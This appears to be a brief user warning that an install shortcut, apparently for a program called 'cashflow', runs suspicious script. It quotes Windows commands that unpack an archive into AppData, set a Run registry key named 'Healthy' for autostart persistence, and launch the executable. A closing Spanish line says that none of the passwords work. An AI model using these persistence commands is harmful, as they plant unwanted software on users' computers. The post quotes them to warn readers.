The install shortcut includes virus looking script:

tar -xvf “app.zip” -C “%APPDATA%”
reg delete “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” /v Healthy /f
reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” /v Healthy /t REG_SZ /d “%APPDATA%\Healthy\Healthy.exe –iUFytfP” /f
start /d “%APPDATA%\Healthy” Healthy.exe

ninguno de los paswords es correcto para cashflow